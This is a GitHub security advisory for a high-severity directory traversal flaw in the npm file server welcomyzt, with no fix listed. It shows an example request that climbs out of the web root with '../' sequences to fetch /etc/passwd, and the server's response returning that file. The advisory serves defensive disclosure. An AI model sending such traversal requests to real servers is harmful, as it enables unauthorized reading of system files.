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GHSA-8fv7-vm2p-5495

Directory Traversal in welcomyzt

Source: GitHub Advisory Database (reviewed) High CVE-2017-16123

Packages

EcosystemPackageAffectedFixed in
npm welcomyzt >= 0.0.0 no fix listed

Details

As written in the advisory (Markdown source, shown as plain text).

`welcomyzt` is a simple file server. `welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References

External links from the advisory. They lead to third-party sites.